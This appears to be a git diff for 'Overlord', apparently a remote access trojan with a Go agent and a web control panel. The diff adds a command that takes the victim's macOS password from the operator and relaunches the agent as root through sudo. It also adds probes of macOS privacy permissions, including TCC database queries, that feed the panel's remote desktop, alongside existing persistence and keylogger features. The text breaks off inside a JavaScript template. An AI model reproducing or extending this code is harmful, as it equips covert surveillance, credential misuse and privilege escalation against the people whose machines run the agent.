diff --git a/Dockerfile b/Dockerfile index 6bdf275..3e45384 100644 --- a/Dockerfile +++ b/Dockerfile @@ -22,7 +22,7 @@ RUN apt-get update \ && rm -rf /var/lib/apt/lists/* # Install Go (latest stable version) -ENV GO_VERSION=1.26.1 +ENV GO_VERSION=1.26.2 ARG TARGETARCH RUN case "${TARGETARCH}" in \ amd64) GO_ARCH=amd64 ;; \ diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 88e8b04..a4a5cd3 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string { } func deriveHWID() string { + machineID := platformMachineID() + if machineID != "" { + h := sha256.New() + h.Write([]byte(machineID)) + h.Write([]byte("|")) + h.Write([]byte(runtime.GOOS)) + return hex.EncodeToString(h.Sum(nil)) + } + // fallback h := sha256.New() h.Write([]byte(hostname())) h.Write([]byte("|")) h.Write([]byte(os.Getenv("USERNAME"))) h.Write([]byte("|")) h.Write([]byte(runtime.GOOS)) - h.Write([]byte("|")) - h.Write([]byte(runtime.GOARCH)) return hex.EncodeToString(h.Sum(nil)) } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6b35713..30f344f 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -22,6 +22,7 @@ import ( "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/wire" ) @@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) return nil case "desktop_start": + if goruntime.GOOS == "darwin" { + perms := sysinfo.DarwinPermissions() + var missing []string + if !perms["screenRecording"] { + missing = append(missing, "screenRecording") + } + if !perms["accessibility"] { + missing = append(missing, "accessibility") + } + if len(missing) > 0 { + log.Printf("desktop: macOS missing permissions: %v", missing) + detail, _ := json.Marshal(map[string]interface{}{ + "reason": "permissions_denied", + "missing": missing, + "permissions": perms, + }) + sendCommandResultSafe(env, cmdID, false, string(detail)) + return nil + } + } env.DesktopMu.Lock() if env.DesktopCancel != nil { env.DesktopCancel() @@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) return ErrReconnect + case "elevate": + payload, _ := envelope["payload"].(map[string]interface{}) + password, _ := payload["password"].(string) + return HandleElevate(ctx, env, cmdID, password) case "proxy_connect": payload, _ := envelope["payload"].(map[string]interface{}) return HandleProxyConnect(ctx, env, cmdID, payload) diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go new file mode 100644 index 0000000..095eb2e --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go @@ -0,0 +1,91 @@ +//go:build darwin + +package handlers + +import ( + "context" + "fmt" + "log" + "os" + "os/exec" + "strings" + "time" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + if os.Getuid() == 0 { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "already running as root", + }) + } + + if password == "" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "password required for elevation", + }) + } + + exePath, err := os.Executable() + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to resolve executable path: %v", err), + }) + } + + validateCmd := exec.Command("sudo", "-S", "-k", "true") + validateCmd.Stdin = strings.NewReader(password + "\n") + if err := validateCmd.Run(); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "incorrect password", + }) + } + + args := os.Args[1:] + sudoArgs := append([]string{"-S", "-k", exePath}, args...) + cmd := exec.Command("sudo", sudoArgs...) + cmd.Stdin = strings.NewReader(password + "\n") + cmd.Env = os.Environ() + + nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0) + if nullFile != nil { + cmd.Stdout = nullFile + cmd.Stderr = nullFile + } + + if err := cmd.Start(); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to start elevated process: %v", err), + }) + } + + log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid) + + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "elevating — new process started as root", + }) + + time.Sleep(500 * time.Millisecond) + os.Exit(0) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/elevate_other.go b/Overlord-Client/cmd/agent/handlers/elevate_other.go new file mode 100644 index 0000000..3501c11 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_other.go @@ -0,0 +1,19 @@ +//go:build !darwin + +package handlers + +import ( + "context" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "elevation via password is only supported on macOS", + }) +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 66bc33d..33e3492 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.RAM = hw.RAM hello.IsAdmin = sysinfo.IsAdmin() hello.Elevation = sysinfo.Elevation() + hello.Permissions = sysinfo.DarwinPermissions() if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go new file mode 100644 index 0000000..de0c363 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -0,0 +1,64 @@ +//go:build darwin + +package sysinfo + +import ( + "os" + "os/exec" + "path/filepath" + "strings" +) + +func IsAdmin() bool { + return os.Getuid() == 0 +} + +func Elevation() string { + if os.Getuid() == 0 { + return "admin" + } + return "" +} + +func DarwinPermissions() map[string]bool { + return map[string]bool{ + "screenRecording": checkScreenRecording(), + "accessibility": checkAccessibility(), + "fullDiskAccess": checkFullDiskAccess(), + "root": os.Getuid() == 0, + } +} + +func checkScreenRecording() bool { + if os.Getuid() == 0 { + return true + } + exe, err := os.Executable() + if err != nil { + return false + } + if real, err := filepath.EvalSymlinks(exe); err == nil { + exe = real + } + home, err := os.UserHomeDir() + if err != nil || home == "" { + return false + } + db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db") + safeExe := strings.ReplaceAll(exe, "'", "''") + out, _ := exec.Command("sqlite3", db, + "SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1", + ).CombinedOutput() + return strings.TrimSpace(string(out)) == "2" +} + +func checkAccessibility() bool { + err := exec.Command("osascript", "-e", + `tell application "System Events" to get name of first process`).Run() + return err == nil +} + +func checkFullDiskAccess() bool { + _, err := os.ReadDir("/Library/Application Support/com.apple.TCC") + return err == nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go index e2a23f9..114afc8 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_other.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !darwin package sysinfo @@ -15,3 +15,7 @@ func Elevation() string { } return "" } + +func DarwinPermissions() map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go index b73f3ee..6dc6301 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go @@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool { } return false } + +func DarwinPermissions() map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 08d11e9..48ccbe8 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -1,26 +1,27 @@ package wire type Hello struct { - Type string `msgpack:"type"` - ID string `msgpack:"id"` - HWID string `msgpack:"hwid"` - Host string `msgpack:"host"` - OS string `msgpack:"os"` - Arch string `msgpack:"arch"` - Version string `msgpack:"version"` - User string `msgpack:"user"` - Monitors int `msgpack:"monitors"` - MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` - Country string `msgpack:"country,omitempty"` - BuildTag string `msgpack:"buildTag,omitempty"` - PublicKey string `msgpack:"publicKey,omitempty"` - Signature string `msgpack:"signature,omitempty"` - InMemory bool `msgpack:"inMemory,omitempty"` - CPU string `msgpack:"cpu,omitempty"` - GPU string `msgpack:"gpu,omitempty"` - RAM string `msgpack:"ram,omitempty"` - IsAdmin bool `msgpack:"isAdmin,omitempty"` - Elevation string `msgpack:"elevation,omitempty"` + Type string `msgpack:"type"` + ID string `msgpack:"id"` + HWID string `msgpack:"hwid"` + Host string `msgpack:"host"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` + User string `msgpack:"user"` + Monitors int `msgpack:"monitors"` + MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` + Country string `msgpack:"country,omitempty"` + BuildTag string `msgpack:"buildTag,omitempty"` + PublicKey string `msgpack:"publicKey,omitempty"` + Signature string `msgpack:"signature,omitempty"` + InMemory bool `msgpack:"inMemory,omitempty"` + CPU string `msgpack:"cpu,omitempty"` + GPU string `msgpack:"gpu,omitempty"` + RAM string `msgpack:"ram,omitempty"` + IsAdmin bool `msgpack:"isAdmin,omitempty"` + Elevation string `msgpack:"elevation,omitempty"` + Permissions map[string]bool `msgpack:"permissions,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 4efc2c1..299b651 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -444,6 +444,16 @@ p { color: #d8b4fe; border-color: rgba(168, 85, 247, 0.45); } +.pill-perm-ok { + background: rgba(34, 197, 94, 0.15); + color: #86efac; + border-color: rgba(34, 197, 94, 0.4); +} +.pill-perm-no { + background: rgba(239, 68, 68, 0.15); + color: #fca5a5; + border-color: rgba(239, 68, 68, 0.4); +} /* Hardware info toggle & panel */ .pill-hw { diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index ea587a5..53f5c80 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) { isWindows, "Keylogger capture is only fully supported on Windows clients.", ); + + const elevateBtn = menu.querySelector('[data-action="elevate"]'); + if (elevateBtn) { + elevateBtn.style.display = platform === "darwin" ? "" : "none"; + } } async function loadCurrentUser() { @@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => { return; } + if (action === "elevate") { + const password = prompt("Enter the user's macOS password for sudo elevation:"); + if (!password) { + closeMenu(clearContext); + return; + } + try { + const res = await fetch(`/api/clients/${contextCard}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "elevate", password }), + }); + const data = await res.json().catch(() => ({})); + if (data.ok) { + alert(data.message || "Elevation successful — client will reconnect as root."); + } else { + alert(data.error || data.message || "Elevation failed."); + } + } catch (err) { + alert("Elevation request failed: " + err.message); + } + closeMenu(clearContext); + setTimeout(() => loadWithOptions({ force: true }), 2000); + return; + } + const ok = await sendCommand(contextCard, action); if (ok) { setTimeout(() => loadWithOptions({ force: true }), 400); diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index e91cb7e..29360df 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; scheduleOffline(msg.reason); return; } + if (msg.status === "permissions_denied") { + clearOfflineTimer(); + desiredStreaming = false; + const missing = Array.isArray(msg.missing) ? msg.missing : []; + const labels = { + screenRecording: "Screen Recording", + accessibility: "Accessibility", + fullDiskAccess: "Full Disk Access", + }; + const list = missing.map(k => labels[k] || k).join(", "); + setStreamState("error", `macOS permissions required: ${list}`); + showElevateOffer(missing); + return; + } if (msg.status === "connecting") { clearOfflineTimer(); setStreamState("connecting", "Connecting"); @@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } } + function showElevateOffer(missing) { + // Remove previous elevate banner if any + const prev = document.getElementById("rdElevateBanner"); + if (prev) prev.remove(); + + const banner = document.createElement("div"); + banner.id = "rdElevateBanner"; + banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm"; + + const labels = { + screenRecording: "Screen Recording", + accessibility: "Accessibility", + fullDiskAccess: "Full Disk Access", + }; + const list = missing.map(k => labels[k] || k).join(", "); + + banner.innerHTML = ` +